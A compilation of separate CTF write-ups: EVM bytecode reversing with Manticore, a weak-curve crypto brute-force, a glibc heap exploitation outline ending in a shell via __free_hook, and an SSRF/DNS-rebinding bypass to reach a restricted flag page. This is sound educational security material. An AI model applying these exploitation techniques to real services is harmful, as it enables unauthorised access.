```#!/usr/bin/env python3from pyevmasm import disassemble_allcode = bytearray.fromhex(open('sample.bin').read())for insn in disassemble_all(code): print(f'{insn.pc:04x} {insn}')```
```0000 PUSH1 0x800002 PUSH1 0x400004 MSTORE```
EMV appears to be a stack-based machine, which also has memory. These threeinstructions clearly store to memory, but how exactly? Time to find a bytecodereference, fortunately, there are quite a few:
* https://ethereum.github.io/yellowpaper/paper.pdf, Chapter H.2* https://solidity.readthedocs.io/en/v0.5.12/assembly.html#opcodes* https://github.com/crytic/evm-opcodes* https://ethereum.stackexchange.com/a/120
So, what we have here is `*(int256 *)0x40 = 0x80`, and the stack is empty again.
```0005 PUSH1 0x00007 DUP10008 PUSH1 0x0000a PUSH2 0x100000d EXP```
`100 ** 0 = 1` - why not just `PUSH1 1`?. This code is clearly just messing withus. Stack state: `[0 0 1]`.
```000e DUP2000f SLOAD```
`SLOAD`: "Load word from storage". So, there is memory, and there is storage.[What's the difference?](https://ethereum.stackexchange.com/questions/1232)Apparently storage is persistent - makes sense. Stack state: `[0 0 1 s[0]]`.
```0010 DUP20011 PUSH1 0xff0013 MUL0014 NOT0015 AND```
Nothing unusual. Stack state: `[0 0 1 (s[0] & ~0xff)]`.
```0016 SWAP10017 DUP40018 ISZERO0019 ISZERO001a MUL001b OR001c SWAP1001d SSTORE001e POP```
`s[0] = (s[0] & ~0xff)` - the code above has cleared the least significant byteof the storage value at index 0, and put it back. Stack state: `[]`.
```001f CALLVALUE```
`CALLVALUE`: "Get deposited value by the instruction/transaction responsiblefor this execution". This is some sort of argument from our caller. Stack state:`[arg]`.
```0020 DUP10021 ISZERO0022 PUSH2 0x2a0025 JUMPI0026 PUSH1 0x00028 DUP10029 REVERT```
`JUMPI`: "Conditionally alter the program counter" - an "if" statement! Ifcaller (whatever it is, no idea so far) gave us zero, we proceed. Otherwise we`REVERT`: "Halt execution reverting state change". Sounds like a bad thing,let's assume we were given `0` after all. Stack state: `[arg]`.
```002a JUMPDEST002b POP002c PUSH1 0xec002e DUP1002f PUSH2 0x390032 PUSH1 0x00034 CODECOPY0035 PUSH1 0x00037 RETURN```
`JUMPDEST`: "Mark a valid destination for jumps". Hey, cute - this thingy hasbuilt-in CFI! `CODECOPY`: "Copy code running in current environment to memory".All in all it was just an initialization step: `memcpy((void *)0, (void*)0x39,0xec)`. The final stack state is: `[0, 0xec]` - this must describe the copiedregion - apparently this will be called the second time. Let's see what'sinside the copied region using `disassemble_all(code[0x39:])`:
```0000 PUSH1 0x800002 PUSH1 0x400004 MSTORE```
Noted. Not sure why the code keeps doing it - is it a moral equivalent ofa function prolog? We'll never know.
```0005 PUSH1 0x40007 CALLDATASIZE0008 LT0009 PUSH1 0x49``````0049 JUMPDEST004a PUSH1 0x0004c DUP1004d REVERT```
So this code is given not merely an integer, but a whopping array. If it'sshorter than 4 bytes, we end up with a `REVERT`.
```000b JUMPI000c PUSH1 0x0000e CALLDATALOAD000f PUSH29 0x100000000000000000000000000000000000000000000000000000000002d SWAP1002e DIV002f PUSH4 0xffffffff0034 AND```
This computes: `(arg[0] / (2 ** 224)) & 0xffffffff`, essentially obtaining 4most significant bytes of `arg[0]`. This is kind of consistent with the lengthcheck ([EVM is big-endian](https://ethereum.stackexchange.com/a/2344)).
```0035 DUP10036 PUSH4 0xc01b0d48003b EQ003c PUSH1 0x4e003e JUMPI```
Here the code compares those 4 bytes with a magic constant. This must be thegist of this challenge: find and analyze such comparisons.
```003f DUP10040 PUSH4 0xea602fa60045 EQ0046 PUSH1 0x620048 JUMPI```
Another comparison. So the first 4 bytes can be one of the two magic constants,since we don't want to go to `0049` - this is the basic block with `REVERT`,remember?
Now that it's more or less clear what needs to be done, let's not inspect thebytecode any further. Finding an input that satisfies all the magic checks isa job for a symbolic execution tool. While it might be fun implementing one fromscratch, this is not a toy VM and there might be something out there.
Google query "evm symbolic execution" points to multiple projects, the mostmature of which is [Manticore](https://github.com/trailofbits/manticore). Thelanding page shows an example of analyzing source Solidity contract with it, butwe have only bytecode.
Googling "manticore bytecode only analysis" gives us a [very nice article](https://kauri.io/article/9ca9a32cc36340b19fd82de6df12e36c/bytecode-only-analysis-of-evm-smart-contracts) with a code skeleton. Let's give it a shot!
```#!/usr/bin/env python3from manticore.ethereum import ManticoreEVMcode = bytearray.fromhex(open('sample.bin').read())m = ManticoreEVM()user_account = m.create_account(balance=1000)contract_account = m.create_contract(owner=user_account, init=code)print(f'init ready: {m.count_ready_states()}')print(f'init busy: {m.count_busy_states()}')print(f'init killed: {m.count_killed_states()}')print(f'init terminated: {m.count_terminated_states()}')``````init ready: 1init busy: 0init killed: 0init terminated: 0```
The initialization part went through successfully. Not sure why the `arg != 0`branch was not accounted for and we ended up with just one state - maybeManticore always passes `0`, but this looks promising. Let's run a transactionnow.
```symbolic_data = m.make_symbolic_buffer(320, name='symbolic_data')symbolic_value = m.make_symbolic_value(name='symbolic_value')tx_address = m.transaction( caller=user_account, address=contract_account, data=symbolic_data, value=symbolic_value,)print(f'tx ready: {m.count_ready_states()}')print(f'tx busy: {m.count_busy_states()}')print(f'tx killed: {m.count_killed_states()}')print(f'tx terminated: {m.count_terminated_states()}')``````tx ready: 2tx busy: 0tx killed: 0tx terminated: 4```
That's extremely good. Those two ready states must correspond to a king and a... how should I call the other thing? Peon? Anyway, let's try to distinguishthem. Memory and stack are volatile, so they must have different storage.
```for i, state in enumerate(m.ready_states): print(f'### STORAGE {i} ###') for sindex, svalue in state.platform.get_storage_items(contract_account): sindex, = state.concretize(sindex, 'ONE') svalue, = state.concretize(svalue, 'ONE') print(f'[{sindex}] = {svalue}')``````### STORAGE 0 ###[0] = 0### STORAGE 1 ###[0] = 1[0] = 0```
This looks like a log, which contains all stores, with the most recent onescoming first. The state #1 has one extra store - this must be the king. So,what should I send to the server - the data or the value? [Turns out](https://ethereum.stackexchange.com/questions/1990), value is the amount of $$$to transfer, and data is a free-format input parameter. Obviously we want thelatter. Let's send it to server:
```data, = state.concretize(symbolic_data, 'ONE')print(data)``````### DATA 1 ###b'\xc0\x1b\rH\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'Challenge 2/9:```
It has a magic constant from earlier. And the server likes it. Woohoo!
Well, not so fast. The second challenge takes way more time to complete, and theserver resets the connection. Checking with `cProfile` shows that we spend allthe time in `_recv`, which most likely means we wait for the solver to give usanswers. That's pretty ugly, but maybe we could tune the symbolic execution toissue less or smaller queries?
Let's hook into `_send` and `_recv` (in [`manticore/core/smtlib/solver.py`](https://github.com/trailofbits/manticore/blob/0.3.1/manticore/core/smtlib/solver.py#L280)) and see which queries give z3 a hard time:
``` def _send(self, cmd: str): try: print(f"{cmd}")`````` def _recv(self) -> str: t0 = time.time() ... print(f"DONE {time.time() - t0}")```
This one takes 8 seconds, and there are quite a few more like it:
```(set-logic QF_AUFBV)(set-option :global-decls false)(declare-fun symbolic_data () (Array (_ BitVec 256) (_ BitVec 8)))(declare-fun B () Bool)(declare-fun a_112 () (_ BitVec 8))(assert (= a_112 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000004)))(declare-fun a_113 () (_ BitVec 8))(assert (= a_113 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000005)))(declare-fun a_114 () (_ BitVec 8))(assert (= a_114 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000006)))(declare-fun a_115 () (_ BitVec 8))(assert (= a_115 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000007)))(declare-fun a_116 () (_ BitVec 8))(assert (= a_116 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000008)))(declare-fun a_117 () (_ BitVec 8))(assert (= a_117 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000009)))(declare-fun a_118 () (_ BitVec 8))(assert (= a_118 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000a)))(declare-fun a_119 () (_ BitVec 8))(assert (= a_119 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000b)))(declare-fun a_120 () (_ BitVec 8))(assert (= a_120 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000c)))(declare-fun a_121 () (_ BitVec 8))(assert (= a_121 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000d)))(declare-fun a_122 () (_ BitVec 8))(assert (= a_122 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000e)))(declare-fun a_123 () (_ BitVec 8))(assert (= a_123 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000f)))(declare-fun a_124 () (_ BitVec 8))(assert (= a_124 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000010)))(declare-fun a_125 () (_ BitVec 8))(assert (= a_125 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000011)))(declare-fun a_126 () (_ BitVec 8))(assert (= a_126 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000012)))(declare-fun a_127 () (_ BitVec 8))(assert (= a_127 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000013)))(declare-fun a_128 () (_ BitVec 8))(assert (= a_128 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000014)))(declare-fun a_129 () (_ BitVec 8))(assert (= a_129 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000015)))(declare-fun a_130 () (_ BitVec 8))(assert (= a_130 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000016)))(declare-fun a_131 () (_ BitVec 8))(assert (= a_131 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000017)))(declare-fun a_132 () (_ BitVec 8))(assert (= a_132 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000018)))(declare-fun a_133 () (_ BitVec 8))(assert (= a_133 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000019)))(declare-fun a_134 () (_ BitVec 8))(assert (= a_134 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001a)))(declare-fun a_135 () (_ BitVec 8))(assert (= a_135 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001b)))(declare-fun a_136 () (_ BitVec 8))(assert (= a_136 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001c)))(declare-fun a_137 () (_ BitVec 8))(assert (= a_137 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001d)))(declare-fun a_138 () (_ BitVec 8))(assert (= a_138 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001e)))(declare-fun a_139 () (_ BitVec 8))(assert (= a_139 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001f)))(declare-fun a_140 () (_ BitVec 8))(assert (= a_140 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000020)))(declare-fun a_141 () (_ BitVec 8))(assert (= a_141 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000021)))(declare-fun a_142 () (_ BitVec 8))(assert (= a_142 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000022)))(declare-fun a_143 () (_ BitVec 8))(assert (= a_143 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000023)))(declare-fun a_144 () (_ BitVec 256))(assert (= a_144 #x0000000000000000000000000000000000000000000000000000000000000064))(declare-fun a_145 () (_ BitVec 256))(assert (= a_145 (concat a_112 a_113 a_114 a_115 a_116 a_117 a_118 a_119 a_120 a_121 a_122 a_123 a_124 a_125 a_126 a_127 a_128 a_129 a_130 a_131 a_132 a_133 a_134 a_135 a_136 a_137 a_138 a_139 a_140 a_141 a_142 a_143)))(declare-fun a_146 () (_ BitVec 256))(assert (= a_146 (bvsub a_144 a_145)))(declare-fun a_147 () (_ BitVec 256))(assert (= a_147 #x0000000000000000000000000000000000000000000000000000000000031dd6))(declare-fun a_148 () Bool)(assert (= a_148 (bvugt a_146 a_147)))(declare-fun a_149 () (_ BitVec 256))(assert (= a_149 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_150 () (_ BitVec 256))(assert (= a_150 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_151 () (_ BitVec 256))(assert (= a_151 (ite a_148 a_149 a_150)))(declare-fun a_152 () (_ BitVec 256))(assert (= a_152 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_153 () Bool)(assert (= a_153 (= a_151 a_152)))(declare-fun a_154 () (_ BitVec 256))(assert (= a_154 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_155 () (_ BitVec 256))(assert (= a_155 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_156 () (_ BitVec 256))(assert (= a_156 (ite a_153 a_154 a_155)))(declare-fun a_157 () (_ BitVec 256))(assert (= a_157 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_158 () Bool)(assert (= a_158 (= a_156 a_157)))(declare-fun a_159 () Bool)(assert (= a_159 (not a_158)))(declare-fun a_160 () (_ BitVec 256))(assert (= a_160 #x0000000000000000000000000000000000000000000000000000000000000128))(declare-fun a_161 () (_ BitVec 256))(assert (= a_161 #x00000000000000000000000000000000000000000000000000000000000000e1))(declare-fun a_162 () (_ BitVec 256))(assert (= a_162 (ite a_159 a_160 a_161)))(declare-fun a_163 () (_ BitVec 256))(assert (= a_163 #x00000000000000000000000000000000000000000000000000000000000000e1))(declare-fun a_164 () (_ BitVec 256))(assert (= a_164 (bvsub a_144 a_145)))(declare-fun a_165 () (_ BitVec 256))(assert (= a_165 #x0000000000000000000000000000000000000000000000000000000000031ddd))(declare-fun a_166 () Bool)(assert (= a_166 (bvult a_164 a_165)))(declare-fun a_167 () (_ BitVec 256))(assert (= a_167 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_168 () (_ BitVec 256))(assert (= a_168 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_169 () (_ BitVec 256))(assert (= a_169 (ite a_166 a_167 a_168)))(declare-fun a_170 () (_ BitVec 256))(assert (= a_170 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_171 () Bool)(assert (= a_171 (= a_169 a_170)))(declare-fun a_172 () (_ BitVec 256))(assert (= a_172 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_173 () (_ BitVec 256))(assert (= a_173 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_174 () (_ BitVec 256))(assert (= a_174 (ite a_171 a_172 a_173)))(declare-fun a_175 () (_ BitVec 256))(assert (= a_175 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_176 () Bool)(assert (= a_176 (= a_174 a_175)))(declare-fun a_177 () Bool)(assert (= a_177 (not a_176)))(declare-fun a_178 () (_ BitVec 256))(assert (= a_178 #x000000000000000000000000000000000000000000000000000000000000010c))(declare-fun a_179 () (_ BitVec 256))(assert (= a_179 #x00000000000000000000000000000000000000000000000000000000000000ee))(declare-fun a_180 () (_ BitVec 256))(assert (= a_180 (ite a_177 a_178 a_179)))(declare-fun a_181 () (_ BitVec 256))(assert (= a_181 #x00000000000000000000000000000000000000000000000000000000000000ee))(declare-fun a_182 () (_ BitVec 8))(assert (= a_182 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000000)))(declare-fun a_183 () (_ BitVec 8))(assert (= a_183 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000001)))(declare-fun a_184 () (_ BitVec 8))(assert (= a_184 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000002)))(declare-fun a_185 () (_ BitVec 8))(assert (= a_185 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000003)))(declare-fun a_186 () (_ BitVec 8))(assert (= a_186 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000004)))(declare-fun a_187 () (_ BitVec 8))(assert (= a_187 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000005)))(declare-fun a_188 () (_ BitVec 8))(assert (= a_188 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000006)))(declare-fun a_189 () (_ BitVec 8))(assert (= a_189 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000007)))(declare-fun a_190 () (_ BitVec 8))(assert (= a_190 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000008)))(declare-fun a_191 () (_ BitVec 8))(assert (= a_191 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000009)))(declare-fun a_192 () (_ BitVec 8))(assert (= a_192 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000a)))(declare-fun a_193 () (_ BitVec 8))(assert (= a_193 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000b)))(declare-fun a_194 () (_ BitVec 8))(assert (= a_194 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000c)))(declare-fun a_195 () (_ BitVec 8))(assert (= a_195 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000d)))(declare-fun a_196 () (_ BitVec 8))(assert (= a_196 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000e)))(declare-fun a_197 () (_ BitVec 8))(assert (= a_197 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000000f)))(declare-fun a_198 () (_ BitVec 8))(assert (= a_198 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000010)))(declare-fun a_199 () (_ BitVec 8))(assert (= a_199 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000011)))(declare-fun a_200 () (_ BitVec 8))(assert (= a_200 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000012)))(declare-fun a_201 () (_ BitVec 8))(assert (= a_201 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000013)))(declare-fun a_202 () (_ BitVec 8))(assert (= a_202 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000014)))(declare-fun a_203 () (_ BitVec 8))(assert (= a_203 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000015)))(declare-fun a_204 () (_ BitVec 8))(assert (= a_204 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000016)))(declare-fun a_205 () (_ BitVec 8))(assert (= a_205 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000017)))(declare-fun a_206 () (_ BitVec 8))(assert (= a_206 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000018)))(declare-fun a_207 () (_ BitVec 8))(assert (= a_207 (select symbolic_data #x0000000000000000000000000000000000000000000000000000000000000019)))(declare-fun a_208 () (_ BitVec 8))(assert (= a_208 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001a)))(declare-fun a_209 () (_ BitVec 8))(assert (= a_209 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001b)))(declare-fun a_210 () (_ BitVec 8))(assert (= a_210 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001c)))(declare-fun a_211 () (_ BitVec 8))(assert (= a_211 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001d)))(declare-fun a_212 () (_ BitVec 8))(assert (= a_212 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001e)))(declare-fun a_213 () (_ BitVec 8))(assert (= a_213 (select symbolic_data #x000000000000000000000000000000000000000000000000000000000000001f)))(declare-fun a_214 () (_ BitVec 256))(assert (= a_214 (concat a_182 a_183 a_184 a_185 a_186 a_187 a_188 a_189 a_190 a_191 a_192 a_193 a_194 a_195 a_196 a_197 a_198 a_199 a_200 a_201 a_202 a_203 a_204 a_205 a_206 a_207 a_208 a_209 a_210 a_211 a_212 a_213)))(declare-fun a_215 () (_ BitVec 256))(assert (= a_215 #x0000000100000000000000000000000000000000000000000000000000000000))(declare-fun a_216 () (_ BitVec 256))(assert (= a_216 (bvudiv a_214 a_215)))(declare-fun a_217 () (_ BitVec 256))(assert (= a_217 #x00000000000000000000000000000000000000000000000000000000ffffffff))(declare-fun a_218 () (_ BitVec 256))(assert (= a_218 (bvand a_216 a_217)))(declare-fun a_219 () (_ BitVec 256))(assert (= a_219 #x00000000000000000000000000000000000000000000000000000000f1252860))(declare-fun a_220 () Bool)(assert (= a_220 (= a_218 a_219)))(declare-fun a_221 () (_ BitVec 256))(assert (= a_221 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_222 () (_ BitVec 256))(assert (= a_222 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_223 () (_ BitVec 256))(assert (= a_223 (ite a_220 a_221 a_222)))(declare-fun a_224 () (_ BitVec 256))(assert (= a_224 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_225 () Bool)(assert (= a_225 (= a_223 a_224)))(declare-fun a_226 () Bool)(assert (= a_226 (not a_225)))(declare-fun a_227 () (_ BitVec 256))(assert (= a_227 #x0000000000000000000000000000000000000000000000000000000000000080))(declare-fun a_228 () (_ BitVec 256))(assert (= a_228 #x000000000000000000000000000000000000000000000000000000000000004c))(declare-fun a_229 () (_ BitVec 256))(assert (= a_229 (ite a_226 a_227 a_228)))(declare-fun a_230 () (_ BitVec 256))(assert (= a_230 #x0000000000000000000000000000000000000000000000000000000000000080))(declare-fun a_231 () (_ BitVec 256))(assert (= a_231 (ite a_171 a_172 a_173)))(declare-fun a_232 () (_ BitVec 256))(assert (= a_232 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_233 () Bool)(assert (= a_233 (= a_231 a_232)))(declare-fun a_234 () Bool)(assert (= a_234 (not a_233)))(declare-fun a_235 () (_ BitVec 256))(assert (= a_235 (bvand a_216 a_217)))(declare-fun a_236 () (_ BitVec 256))(assert (= a_236 #x00000000000000000000000000000000000000000000000000000000ea602fa6))(declare-fun a_237 () Bool)(assert (= a_237 (= a_235 a_236)))(declare-fun a_238 () (_ BitVec 256))(assert (= a_238 #x0000000000000000000000000000000000000000000000000000000000000001))(declare-fun a_239 () (_ BitVec 256))(assert (= a_239 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_240 () (_ BitVec 256))(assert (= a_240 (ite a_237 a_238 a_239)))(declare-fun a_241 () (_ BitVec 256))(assert (= a_241 #x0000000000000000000000000000000000000000000000000000000000000000))(declare-fun a_242 () Bool)(assert (= a_242 (= a_240 a_241)))(declare-fun a_243 () Bool)(assert (= a_243 (not a_242)))(declare-fun a_244 () (_ BitVec 256))(assert (= a_244 #x0000000000000000000000000000000000000000000000000000000000000051))(declare-fun a_245 () (_ BitVec 256))(assert (= a_245 #x0000000000000000000000000000000000000000000000000000000000000041))(declare-fun a_246 () (_ BitVec 256))(assert (= a_246 (ite a_243 a_244 a_245)))(declare-fun a_247 () (_ BitVec 256))(assert (= a_247 #x0000000000000000000000000000000000000000000000000000000000000041))(assert (= a_246 a_247))(assert (= B a_234))(assert (= a_229 a_230))(assert (= a_180 a_181))(assert (= a_162 a_163))(check-sat)```
While longish and repetitive, it does not look too onerous. Giving it to `z3`command-like tool results in a similar run time:
```$ time -p z3 slow.z3satreal 8,70```
When ending up in an apparent dead-end like this one, googling never hurts, doesit?
"z3 slow query", on the [first hit](https://github.com/Z3Prover/z3/issues/1602)the advice is: use `(check-sat-using smt)`.
```$ time -p z3 slow.z3satreal 0,07```
Now so slow anymore, huh? Let's patch manticore:
``` def _is_sat(self) -> bool: ... #self._send("(check-sat)") self._send("(check-sat-using smt)")``````$ time -p python3 ./solve.pyreal 4,59```
That's acceptable. This indeed does the trick and allows us to solve all 9challenges and obtain the coveted flag. |
Given a program written in Crystal, there is an inefficient algorithm to find the nth lexicographical permutation of an array. Reimplement this with a better algorithm to get flag. |
# CSAW CTF Qualification Round 2019 : SuperCurve
**category** : crypto
**points** : 300
**solves** : 171
## write-up
This is a trivial challenge
`secret_scalar = random.randrange(curve.order)` the order here is just 7919
brute force `secret_scalar` and get the flag
flag: `flag{use_good_params}`
# other write-ups and resources |
Wrote an idc script to analyze the pattern by decrypting the code, then wrote a pintool to calculate the flag based on the `and` conditions on different bytes.
 |
Simple glibc 2.27 heap challenge.
The restriction that makes it interesting is that you can only have a pointer to one chunk at a time.
Steps to exploitation:1. Get a heap leak2. Use the heap leak and the tcache poisoning attack to get a chunk somewhere on the heap with forged 0x91 size chunk header3. Free this chunk 8 times for a libc leak4. tcache poisoning attack to overwrite `__free_hook` to `system`5. Free a chunk whose first 8 bytes are '/bin/sh\x00' to get a shell
Detailed writeup at the link. |
# ▼▼▼Option-Cmd-U(Web:190、160/799=20.0%)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)
```No more "View Page Source"!http://ocu.chal.seccon.jp:10000/index.php
```
---
# 【Information gathering】
`http://ocu.chal.seccon.jp:10000/index.php`
↓ Access URL
```
<html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Option-Cmd-U</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> </head> <body> <div class="container"> <section class="hero"> <div class="hero-body"> <div class="container"> <h1 class="title has-text-centered has-text-weight-bold"> Option-Cmd-U </h1> <h2 class="subtitle has-text-centered"> "View Page Source" is no longer required! Let's view page source online :-) </h2> <form method="GET"> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value=""> </div> <div class="control"> <button class="button is-link">Submit</button> </div> </div> </form> </div> </div> </section> <section class="section"> </section> </div> </body></html>```
---
## 【1:/index.php?action=source】
`http://ocu.chal.seccon.jp:10000/index.php?action=source`
↓ Access URL
```
<html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Option-Cmd-U</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.5/css/bulma.min.css"> <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script> </head> <body> <div class="container"> <section class="hero"> <div class="hero-body"> <div class="container"> <h1 class="title has-text-centered has-text-weight-bold"> Option-Cmd-U </h1> <h2 class="subtitle has-text-centered"> "View Page Source" is no longer required! Let's view page source online :-) </h2> <form method="GET"> <div class="field has-addons"> <div class="control is-expanded"> <input class="input" type="text" placeholder="URL (e.g. http://example.com)" name="url" value="<?= htmlspecialchars($_GET['url'], ENT_QUOTES, 'UTF-8') ?>"> </div> <div class="control"> <button class="button is-link">Submit</button> </div> </div> </form> </div> </div> </section> <section class="section"> array( 'follow_location' => false, 'timeout' => 2 ) )))); } } ?> </section> </div> </body></html>```
↓ Check the contents below
---
`if($parsed_url["scheme"] !== "http"){`
↓
`http` only!!
---
`} else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {`
↓
I found that localhost is `nginx`!!
Direct localhost access is prohibited!!
---
```highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46), false, stream_context_create(array( 'http' => array( 'follow_location' => false, 'timeout' => 2 ) ))));```↓
Get the URL destination file and display the source code.
Also, `do not redirect` when accessing URL.
---
Let's solve with **DNSRebinding**!!
```(Note)Assumed solution was Host/split attackhttps://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf```
---
## 【2:/flag.php】
`http://ocu.chal.seccon.jp:10000/flag.php`
↓
Forbidden.Your IP: (My_IP_address)
↓
The IP address of the access source is displayed
---
## 【3:/docker-compose.yml】
`http://ocu.chal.seccon.jp:10000/docker-compose.yml`
↓
```version: '3'
services: nginx: (...ommitted...) php-fpm: (...ommitted...
```
↓
`Two servers` are standing.
---
# 【exploit】DNSRebinding!!
### 1.Check the access source IP address
`GET /?url=http://ocu.chal.seccon.jp:10000/flag.php`
↓
Forbidden.Your IP: `172.25.0.1`
---
brute force the IP address of `nginx`
↓
